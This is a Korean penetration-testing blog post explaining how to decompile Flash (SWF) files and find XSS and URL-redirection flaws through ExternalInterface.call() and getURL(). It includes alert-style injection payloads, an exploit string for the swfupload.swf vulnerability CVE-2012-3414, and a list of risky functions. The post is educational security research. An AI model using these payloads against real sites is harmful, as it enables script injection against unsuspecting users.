| | at : |
Archive

[WEB HACKING] SWF(Flash) Vulnerability Analysis Techniques 하훌 rwxr-xr-x 2 6/01/2017



[WEB HACKING] SWF(Flash) Vulnerability Analysis Techniques

Permission rw-r--r--
Author 하훌
Date and Time 6/01/2017
Label
License 크리에이티브 커먼즈 라이선스



오늘은 SWF내 취약점 분석에 대한 이야기를 할까합니다. SWF가 많이 적용된 환경은 가끔식 보는지라.. 오랜만에 분석하려하면 까먹고 기억 안나는 것들이 있습니다. 두고두고 볼 겸 포스팅으로 작성합니다.


SWF, 즉 플래시 파일은  대체로 간단한 영상(?) 재생이나 게임 제작등에 쓰이죠. 이 Flash는 ActionScript 라는 언어로 개발되며 ActionScript 를 통해 내부적인 로직을 가질 수 있습니다. 이를 통해서 음악 재생이 가능한 플레이어나 버튼 클릭으로 진행하는 게임 등 여러가지 콘텐츠 제작에 사용되고 있죠.

Why?

위에서 설명드렸지만 플래시 파일은 ActionScript 란 언어로 이루어져 있습니다. 이는 웹상에서 Javascript 로 동작을 구현하듯이 플래시 내 동작을 구현하는 함수이고 다른 웹 취약점과 동일하게 프로그램의 흐름을 비틀 수 있으니 취약점이 존재하고, 공격에 사용될 수 있죠.

플래시 파일에서 발생한 취약점은 몇가지 특징을 가지게 됩니다.

1. SWF는 웹 페이지와 별도로 분리되어 있기 때문에(그래서 Object 태그로 불러오죠) DOM 영역에 접근이 불가능합니다. 쿠키 탈취나 개인정보 수집은 어렵겠죠.

2. SWF는 브라우저 필터링의 영향을 받지 않습니다. 아주 중요한 부분인데 같은 Reflected XSS이여도.. 웹 브라우저 내 차단 기능에 걸리지 않고 구문 실행이 가능하다는 장점이 있습니다.

3. 대체로 특정 기능을 하는 SWF(File upload, Media player 등)는 여러군데 웹에서 사용되기 때문에 하나를 찾으면.. 여러 프레임워에서도 동일한 취약점을 발견할 수 있습니다. 그만큼 다른 코드에 비해 의존성이 높은편입니다.

그럼 분석 방법에 대해 풀어나가보죠. (물론 개인적인 스타일이니 필요한 부분만 습득하시고, 좋은 내용이 있으면 댓글로 공유주세요)

Step1 - SWF(Flash) Download and Infor Gather

이름을 거창하게 써 봤습니다. 일단 우리가 SWF에 대해서 기초적인 분석을 해야하는데 이는 웹 페이지에 있는 Object 코드와 SWF를 Local로 다운로드 하는 것 부터 시작합니다.

별다른건 아니니..

swf를 받아주시고 혹시나 object tag에서 우리가 정보로 활용 가능한 데이터가 있는지 미리 확인해줍니다.

#> wget http://127.0.0.1/target.swf

웹 소스를 보시고 뭐 얻을만한게 있는지 확인합니다.

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" class="F1302073621145148296_undefined" style="position: relative ! important;" id="calendar" align="middle" width="173" height="189">
        <param name="movie" value="/target.swf">
        <param name="quality" value="high">
        <param name="bgcolor" value="#FFFFFF">
        <param name="allowScriptAccess" value="always">
        <param name="mode" value="window">
        <param name="allowFullScreen" value="true">
        <param name="FlashVars" value="test=123&amp;intext=11"> <!-- 중요하다면 이 부분이겠죠. 매개변수 전달부분-->
    </object>
주석 달아놓은 것과 같이 매개변수 전달에 사용되는 FlashVars는 중요합니다. 나중에 좋은 데이터가 되지요.

자 그럼 이제 SWF를 까서.. ActionScript를 보며 분석을 시작하면됩니다.

Step2 - ActionScript Code 분석을 위한 FFDEC&Flasm 세팅

쉬운 분석을 위해서는 툴이 필요합니다. FFDEC나 flasm을 통해 SWF를 깔 수 있는데요.. 개인적으로 GUI에 보기편한 FFDEC를 추천드립니다.

FFDEC 설치하기
http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html

flasm을 통한 분석(글 중간에 flasm 사용법정도만..)
http://www.hahwul.com/2016/05/web-hacking-swf-debug-password-crack.html

물론 자동화하신다면 flasm이 갑일지도요! (사실은 ffdec가 더 편리하다는)

자 대충 위 글 보시고 설치하셨다면 이제 코드를 분석할 차례입니다. 저는 FFDEC 기준으로 작성하겠습니다.

Step3 - 인자값 전달부분 찾기

우리는 파라미터로 들어온 값이 어디서 쓰이고, 어떻게 가공되는지 알아야합니다. 이 전에 어떤 파라미터명으로 값이 들어올 수 있는지 알아야 하나하나 분석이 가능하겠죠.

ActionScript2
LoaderInfo(this.root.loaderInfo).parameters;


ActionScript3
this.loaderInfo.parameters;

약간의 차이가 있지만(사실 없는듯) 공통적으로 loaderInfo 의 paramters 에서 값을 받아옵니다. 아래와 같이 이런식으로 각각 변수에 값을 집어넣게 되죠.

params = this.loaderInfo.parameters;
param1 = params.title      
param2 = params.context    
위 코드가 있을 때 ~~~.swf?title=asdf&context=zzzz 라고 요청을 하게 되면 각각 param1과 param2는 asdf와 zzzz 값을 저장하게 됩니다.
자 이제 우리는 파라미터의 인입구간을 찾았으니.. 이 값들이 어디서 쓰이는지 천천히 분석하면 됩니다.

대신! 취약할 수 있는 함수에 대해 조금 소개해드리도록 하죠.

Vulnerability Point - ExternalInterface.call() function

가장 먼저 소개해드릴 함수는 ExternalInterface.call() 입니다. 이 친구는 여러 SWF에 많이 사용되는 함수이고 당연히 취약점도 많이 가지고 있습니다.

ExternalInterface.call()는 SWF 내 Javascript 구문을 생성하는 함수입니다. 이 ExternalInterface.call 은 아래와 같은 실행 구조를 가집니다. (Javascript 를 만드는 과정?)

try { __flash__toXML(사용자입력값,사용자입력값,....) ; } catch (e) { "<undefined/>"; }

요런형태로 __flash__toXML 함수를 통해 실행이됩니다. 중요한 부분이니 꼭 알아두시길..

자 이제 찾아봅시다. FFDEC > Tools > Text Search 기능을 이용해서 함수명 기준으로 찾으시면 여러가지가 나올껍니다.

아래 코드를 보시면 ExternalInterface.call이 사용되고 있네요. (예시로 든 코드입니다)
만약 여기 인자값으로 들어가는 params.functionName 과 params.returnAddress가 두번째 코드와 같이 사용자 입력값으로 제어되고 그 값에 대한 제한(특수문자 필터링, WhiteList기반 제어 등)이 없다면

Trigger porint

private function runAnimatation() : void
      {
         try
         {
            ExternalInterface.call(String(params.functionName),params.returnAddress);
         }
         catch(e:Error)
         {

         }
      }
아까 인자값 받는 부분에서 보았듯이.. (params 가 위에처럼 받았다고 해주세요. 이해를 위해) functionName과 returnAddress 로 전달된 값은 ExternalInterface.call로 넘어가게 됩니다.

다만 재미있는점은 사용자 입력값이 String 형태로 넘아가는게 아니라 데이터 그대로 넘어가게됩니다. 결국 코드로써 동작 가치가 있다는 소리죠. 그래서.. Javascript 내 XSS를 삽입하는 것 처럼 구문 탈출으로 공격자가 의도한 구문을 수행할 수 있습니다.

.swf?functionName=asd&returnAddress=\"))} catch(e) {alert(45);}//
만약 위와 같은 형태로 입력값을 전달했다면.. functionName과 returnAddress가 ExternalInterface.call로 전달되고..
Javascript 생성을 위해 아래 코드가 실행될껍니다.

try { __flash__toXML(사용자입력값,사용자입력값,....) ; } catch (e) { "<undefined/>"; } 
실제 값이 들어간다면..

try { __flash__toXML(asd,"\\"))} catch(e) {alert(45);}//) ; } catch (e) { "<undefined/>"; } 
와 같은 형태가 되고 __flash_toXML 구문을 탈출하여 별도의 스크립트 동작이 가능해지죠.

조금 더 쉬운방법으로 볼까요?

ExternalInterface.call() 함수는 Javascript 생성하고 실행하는 함수입니다. 눈치채신분들도 있겠지만.. 굳이 탈출 안하고 바로 JS를 실행하셔도 됩니다.

ExternalInterface.call(실행하고픈 함수,인자값)

그러면..요런식으로 입력한다면

.swf?functionName=alert&returnAddress=45
ExternalInterface.call이 만든 JS 코드는 alert(45) 라는 구문이 만들어지죠. 그래서 임의로 지정한 함수를 SWF가 실행시키도록 할 수 있습니다. 이런식으로 Code injection 및 XSS 가 가능합니다.

Vulnerability Point - geturl() function

geturl() 함수는 사용자가 웹 요청을 하도록 발생시키는 코드입니다. 일반적으로 flash내 버튼 입력 시 새로운 웹 창을 연다거나.. 이런 행위에 사용되는데, 이를 활용하면 XSS 나 URL Redirection 이 가능합니다.

아까처럼 params 로 입력된 값이 geturl() 함수의 인자값으로 들어간다면.. 우리는 요런 생각을 할 수 있겠지요.

.swf?url=http://www.hahwul.com
.swf?url=javascript:alert(45)


이 값이.. flash 내부로 넘어오면

geturl("http://www.hahwul.com")
geturl("javascript:alert(45)")


요런 형태로 되고 일반적인 URL Redirection & Reflected XSS와 동일한 영향력을 가지게됩니다.

swfupload.swf 취약점


예전에 CVE-2012-3414로 올라온 swfupload.swf 의 xss(object injection) 취약점을 가지고 한번 보도록하죠.

공격코드는 아래와 같습니다.
/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28%27HAHWUL%27%29;//

자 일단 movieName이 문제가 되는데.. movieName이 사용된 곳을 보면..

this.movieName = root.loaderInfo.parameters.movieName; // movieName 파라미터에 lodaerinfo로 사용자 입력값을 받습니다. 

// 아래 구간에서 각각 함수의 callback을 정하는데.. 
// 일단 별도의 필터링 없이 그대로 값이 들어갑니다.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";
이 callback들은 ExternalInterface.call()로 직접 파라미터 값이 들어가기 때문에 공격자가 강제로 스크립트 구문을 탈출시켜(아까 위에서 본 방법) 임의의 코드를 실행하도록 한거죠.

Finaly

오랜만에 취약점이 아닌 기술과 분석 방법을 가지고 이야기하려니 손이 아프네요(양이 은근 많아지는..)
Flash, 즉 SWF도 웹 코드와 동일하게 스크립트가 동작하고 우리는 흐름을 비틀어서 개발자가 의도하지 않은 행위를 하는 것이니 어렵게 생각하실 것 없습니다. (주변에 은근히 SWF로 골아파하시는 분들이..)

소개해드린건 XSS와 URL Redirection 이지만 다른 기법들을 접목하면 여러가지 행위가 가능합니다. 기존 웹 해킹 기법 적용해보고, 새로운 기법에 대해 연구해보시면 분명 좋은 결과가 있을겁니다.

(FileUpload 기능 잘 분석하면 WebShell도 가능하죠ㅋ)

Vulnerable Function


loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText

Reference

http://help.adobe.com/ko_KR/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cb2.html
http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html
http://www.cvedetails.com/cve/CVE-2012-3414/

Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM




댓글 2개:

  1. 저도 컨설팅 업무를 진행하지만 이러 양질의 글은 도전과 반성을 하게끔 만드네요 ^^ 정말 감사합니다.

    답글삭제
    답글
    1. 아직 모자란 부분이 많은걸요. 댓글 주셔서 감사합니다 :)

      삭제